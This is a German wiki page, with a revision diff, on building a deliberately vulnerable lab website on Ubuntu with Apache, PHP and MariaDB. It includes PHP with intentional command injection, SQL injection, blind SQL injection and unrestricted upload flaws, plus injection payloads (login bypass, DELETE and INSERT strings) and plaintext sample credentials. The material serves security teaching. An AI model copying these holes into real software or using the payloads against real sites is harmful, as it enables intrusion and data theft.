Schwachstellenseite unter Ubuntu 20.04 einrichten: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 314: | Zeile 314: | ||
| − | ===login- | + | |
| + | = Authentifizierungs-Bypass mit unsicherem Login = | ||
| + | |||
| + | ==login-bypass.php== | ||
<pre> | <pre> | ||
<?php | <?php | ||
| Zeile 321: | Zeile 324: | ||
ini_set('display_errors', 1); | ini_set('display_errors', 1); | ||
| − | $link = mysqli_connect( | + | $link = mysqli_connect("127.0.0.1", "webuser", "secret", "tuxmen"); |
mysqli_set_charset($link, "utf8"); | mysqli_set_charset($link, "utf8"); | ||
| − | |||
| − | |||
| − | |||
| − | |||
$message = ''; | $message = ''; | ||
| Zeile 334: | Zeile 333: | ||
$pass = $_POST['password']; | $pass = $_POST['password']; | ||
| − | $ | + | // UNSICHER – direkt eingefügt → SQL Injection möglich |
| − | + | $query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'"; | |
| − | + | $result = mysqli_query($link, $query); | |
| − | + | ||
| − | + | if (mysqli_num_rows($result) === 1) { | |
| − | if ( | + | $_SESSION['user'] = $user; |
| − | + | header("Location: dashboard.php"); | |
| − | + | exit; | |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
} else { | } else { | ||
| − | $message = " | + | $message = "Login fehlgeschlagen."; |
} | } | ||
| − | |||
| − | |||
} | } | ||
?> | ?> | ||
| Zeile 358: | Zeile 350: | ||
<head> | <head> | ||
<meta charset="UTF-8"> | <meta charset="UTF-8"> | ||
| − | <title>Login ( | + | <title>Login (unsicher)</title> |
</head> | </head> | ||
<body> | <body> | ||
| − | <h2>Login ( | + | <h2>Login (unsicher – SQL Injection möglich)</h2> |
<form method="post"> | <form method="post"> | ||
<label>Benutzername:</label><br> | <label>Benutzername:</label><br> | ||
| Zeile 373: | Zeile 365: | ||
</html> | </html> | ||
</pre> | </pre> | ||
| + | |||
| + | ==Bypass-Demo== | ||
| + | Gib folgendes im Login-Formular ein: | ||
| + | |||
| + | <pre> | ||
| + | Benutzername: admin' OR '1'='1 | ||
| + | Passwort: egal | ||
| + | </pre> | ||
| + | |||
| + | → Der Benutzer wird eingeloggt **ohne Passwortprüfung**. | ||
| + | |||
| + | ==Hintergrund== | ||
| + | Die SQL-Abfrage wird zu: | ||
| + | <pre> | ||
| + | SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'egal' | ||
| + | </pre> | ||
| + | |||
| + | → Da `'1'='1'` immer `TRUE` ergibt, wird **die erste passende Zeile zurückgegeben** → Login erfolgreich. | ||
| + | |||
===dashboard.php=== | ===dashboard.php=== | ||
<pre> | <pre> | ||
Version vom 15. Mai 2025, 19:36 Uhr
Apache vorbereiten
- Apache und PHP installieren:
apt update apt install -y apache2 php libapache2-mod-php
- PHP aktivieren und Apache starten:
systemctl enable apache2 systemctl start apache2
MariaDB vorbereiten
- MariaDB und PHP-MySQL-Modul installieren:
apt install -y mariadb-server php-mysql
- MariaDB starten und beim Boot aktivieren:
systemctl enable mariadb systemctl start mariadb
Datenbank „tuxmen“ vorbereiten
- Als root anmelden:
mysql -u root
- Datenbank anlegen:
CREATE DATABASE tuxmen; USE tuxmen;
Tabelle „mitarbeiter“ erstellen
- Tabelle erzeugen:
CREATE TABLE mitarbeiter ( id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(50), password VARCHAR(50), fullname VARCHAR(100), email VARCHAR(100), notes TEXT );
User erstellen
mysql -u root -p <<EOF CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'secret'; GRANT ALL PRIVILEGES ON tuxmen.* TO 'webuser'@'localhost'; FLUSH PRIVILEGES; EOF
Beispieldaten einfügen
- Testdaten hinzufügen:
INSERT INTO mitarbeiter (username, password, fullname, email, notes) VALUES
('admin', 'admin123', 'Karl Rootmann', 'admin@tuxmen.local', 'Zugang zu allen Systemen'),
('alice', 'alicepw', 'Alice Liddell', 'alice@tuxmen.local', 'Team Marketing, Urlaub bis 22. Mai'),
('bob', 'bobpw', 'Bob Baumeister', 'bob@tuxmen.local', 'Serverraum: Türcode 1234'),
('charlie', 'charliepw','Charlie Foxtrot', 'charlie@tuxmen.local','Entwicklungstools: VSCode, Docker'),
('dora', 'dorapw', 'Dora Explorer', 'dora@tuxmen.local', 'VPN-Probleme gemeldet'),
('eve', 'evepw', 'Evelyn Mallory', 'eve@tuxmen.local', 'Audit-Team, Zugang GVM'),
('frank', 'frankpw', 'Frank Underroot', 'frank@tuxmen.local', 'Sudo-Zugang beantragt'),
('grace', 'gracepw', 'Grace Hopper', 'grace@tuxmen.local', 'Legacy-Projekt „COBOL Revival“'),
('hans', '1234', 'Hans Hacker', 'hans@tuxmen.local', 'Kali-Linux Testumgebung'),
('irene', '5678', 'Irene Adler', 'irene@tuxmen.local', 'Zuständig für LDAP und Mailserver');
- Sitzung beenden:
EXIT
Umsetzung
Zentrale
- index.html erstellen:
nano index.html
Umsetzung
Zentrale
- index.html erstellen:
vi index.html
- Inhalt einfügen:
<!DOCTYPE html>
<html>
<meta charset="UTF-8">
<head><title>VulnSite</title></head>
<body>
<h1>VulnSite – Systemmodule</h1>
<ul>
<li><a href="host.html">Hostauflösung</a></li>
<li><a href="sql-classic.php">Benutzerdaten anzeigen</a></li>
<li><a href="sql-blind.php">Meine Daten bearbeiten</a></li>
<li><a href="upload.php">Datei senden</a></li>
<li><a href="info.php">Info</a></li>
<!-- <li><a href="sqli_blind.php">Verbindung prüfen</a></li>
<li><a href="xss.html">Mitteilung eingeben</a></li>
-->
</ul>
</body>
</html>
PHP Dateien
cmd.php
<?php
if (isset($_GET['cmd'])) {
$input = $_GET['cmd'];
echo "<pre>";
system("host " . $input);
echo "</pre>";
}
sql-classic.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
mysqli_set_charset($link, "utf8");
if (!$link) {
die("Verbindung fehlgeschlagen: " . mysqli_connect_error());
}
$search = $_POST['username'] ?? '';
$result = null;
if (!empty($search)) {
$query = "SELECT * FROM mitarbeiter WHERE username = '$search'";
if (mysqli_multi_query($link, $query)) {
do {
if ($res = mysqli_store_result($link)) {
while ($row = mysqli_fetch_assoc($res)) {
echo "Benutzer: {$row['username']}<br>";
echo "Passwort: {$row['password']}<br>";
echo "E-Mail: {$row['email']}<br>";
echo "Hinweis: {$row['notes']}<br><hr>";
}
mysqli_free_result($res);
}
} while (mysqli_next_result($link));
} else {
echo "Fehler oder keine Ausgabe.";
}
}
mysqli_close($link);
?>
<form method="post">
<input type="text" name="username" placeholder="Benutzername oder Injection">
<input type="submit" value="Suchen">
<!-- eingabe "' or '1' = '1' -- " Leerzeichen nach -- ist wichtig -->
<!-- eingabe "' OR 1=1; DELETE FROM mitarbeiter WHERE username='ruedi'; -- " Leerzeichen nach -- ist wichtig -->
<!-- eingabe "' ; INSERT INTO mitarbeiter (username, password, fullname, email, notes)
VALUES ('evil', 'pwned', 'Evil Hacker', 'evil@hax.local', 'per injection hinzugefügt'); -- " -->
</form>
sql-blind.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Datenbankverbindung (unsicher für Demo!)
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
if (!$link) {
die("Verbindungsfehler: " . mysqli_connect_error());
}
// Benutzereingabe (ohne Escaping/Sanitizing!)
$username = $_POST['username'] ?? '';
$message = '';
if (!empty($username)) {
// Kritische SQL-Abfrage (vulnerabel für Injection)
$query = "SELECT * FROM mitarbeiter WHERE username = '$username'";
// echo $query;
$result = mysqli_query($link, $query);
if (mysqli_num_rows($result) > 0) {
$message = "<div class='valid'>VALID: Benutzer '$username' existiert!</div>";
} else {
$message = "<div class='invalid'>INVALID: Benutzer '$username' existiert NICHT.</div>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Blind-SQL-Injection Demo</title>
<style>
body { font-family: Arial, sans-serif; padding: 20px; }
.valid { color: green; font-weight: bold; }
.invalid { color: red; font-weight: bold; }
input, button { padding: 8px; margin: 5px 0; }
</style>
</head>
<body>
<h1>Benutzer-Check (Demo für Blind-Injection)</h1>
<form method="POST">
<input type="text" name="username" placeholder="Benutzername" required>
<button type="submit">Prüfen</button>
</form>
<?php echo $message; ?>
<h3>Demo-Angriffe (für Blind-Injection):</h3>
<ul>
<li>Normale Abfrage: <code>maria</code> → VALID</li>
<li>Blind-Injection: <code>hans' AND password LIKE '1%' -- </code> → VALID, wenn Passwort mit "1" beginnt.</li>
<li>Erfolgreicher Guess: <code>hans' AND password = '1234' -- </code> → VALID (Passwort erraten!)</li>
</ul>
</body>
</html>
<!--
Hacks im Eingabefeld
maria' AND length(password) < 5 -- '
maria' AND length(password) > 5 -- '
maria' AND password = '1234' -- '
-->
<?php mysqli_close($link); ?>
upload.php
- Vorabeiten
mkdir /var/www/html/uploads chown www-data:www-data /var/www/html/uploads
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
if (!empty($_FILES['upload'])) {
$filename = basename($_FILES['upload']['name']);
$target = "uploads/" . $filename;
if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
echo "Datei erfolgreich hochgeladen: <a href='$target'>$filename</a>";
} else {
echo "Fehler beim Hochladen.";
}
}
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" value="Hochladen">
</form>
info.php
<?php phpinfo(); ?>
Datenbank-Tabelle „rechner“
Tabelle anlegen
CREATE TABLE rechner ( id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(50), ip VARCHAR(20), os VARCHAR(20) );
Beispiel-Datensätze einfügen
INSERT INTO rechner (name, ip, os) VALUES
('opfer', '10.0.10.104', 'linux'),
('win10', '10.0.10.102', 'windows'),
('userver', '10.0.10.103', 'linux'),
('win2k8-ms', '10.0.10.107', 'windows'),
('metasploit', '10.0.10.105', 'linux');
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(50), password VARCHAR(100)
);
Benutzerverwaltung einrichten (sicher)
- Passwort-Hash für sicheren Login erzeugen =
PHP-Skript zum Generieren eines Passwort-Hashes
Erstelle die Datei hash.php:
php -r 'echo password_hash("suxer", PASSWORD_DEFAULT) . PHP_EOL;'
Ausführen
php hash.php
Beispielausgabe
Beispielhafte Ausgabe (einmalig generiert – jeder Hash sieht anders aus!):
$2y$10$OukEYIV5CNHcEvlcYJJtZ.lxOMM4pNnWX2HpmhldOKKdYkO4E.Wmy
Benutzer mit Hash in MySQL einfügen
INSERT INTO users (username, password) VALUES
('admin', '$2y$10$OukEYIV5CNHcEvlcYJJtZ.lxOMM4pNnWX2HpmhldOKKdYkO4E.Wmy');
Authentifizierungs-Bypass mit unsicherem Login
login-bypass.php
<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
$link = mysqli_connect("127.0.0.1", "webuser", "secret", "tuxmen");
mysqli_set_charset($link, "utf8");
$message = '';
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$user = $_POST['username'];
$pass = $_POST['password'];
// UNSICHER – direkt eingefügt → SQL Injection möglich
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = mysqli_query($link, $query);
if (mysqli_num_rows($result) === 1) {
$_SESSION['user'] = $user;
header("Location: dashboard.php");
exit;
} else {
$message = "Login fehlgeschlagen.";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Login (unsicher)</title>
</head>
<body>
<h2>Login (unsicher – SQL Injection möglich)</h2>
<form method="post">
<label>Benutzername:</label><br>
<input type="text" name="username"><br>
<label>Passwort:</label><br>
<input type="password" name="password"><br><br>
<input type="submit" value="Login">
</form>
<p style="color:red;"><?php echo $message; ?></p>
</body>
</html>
Bypass-Demo
Gib folgendes im Login-Formular ein:
Benutzername: admin' OR '1'='1 Passwort: egal
→ Der Benutzer wird eingeloggt **ohne Passwortprüfung**.
Hintergrund
Die SQL-Abfrage wird zu:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'egal'
→ Da `'1'='1'` immer `TRUE` ergibt, wird **die erste passende Zeile zurückgegeben** → Login erfolgreich.
dashboard.php
<?php
session_start();
if (!isset($_SESSION['user'])) {
header("Location: login.php");
exit;
}
$link = mysqli_connect('127.0.0.1', 'webuser', 'secret', 'tuxmen');
mysqli_set_charset($link, "utf8");
if (!$link) {
die("Verbindung fehlgeschlagen: " . mysqli_connect_error());
}
$result = mysqli_query($link, "SELECT * FROM rechner");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Rechnerübersicht</title>
</head>
<body>
<h2>Willkommen, <?php echo htmlspecialchars($_SESSION['user']); ?>!</h2>
<h3>Rechner in der Datenbank:</h3>
<table border="1" cellpadding="5">
<tr><th>Name</th><th>IP</th><th>OS</th></tr>
<?php
while ($row = mysqli_fetch_assoc($result)) {
echo "<tr>";
echo "<td>" . htmlspecialchars($row['name']) . "</td>";
echo "<td>" . htmlspecialchars($row['ip']) . "</td>";
echo "<td>" . htmlspecialchars($row['os']) . "</td>";
echo "</tr>";
}
?>
</table>
<p><a href="logout.php">Logout</a></p>
</body>
</html>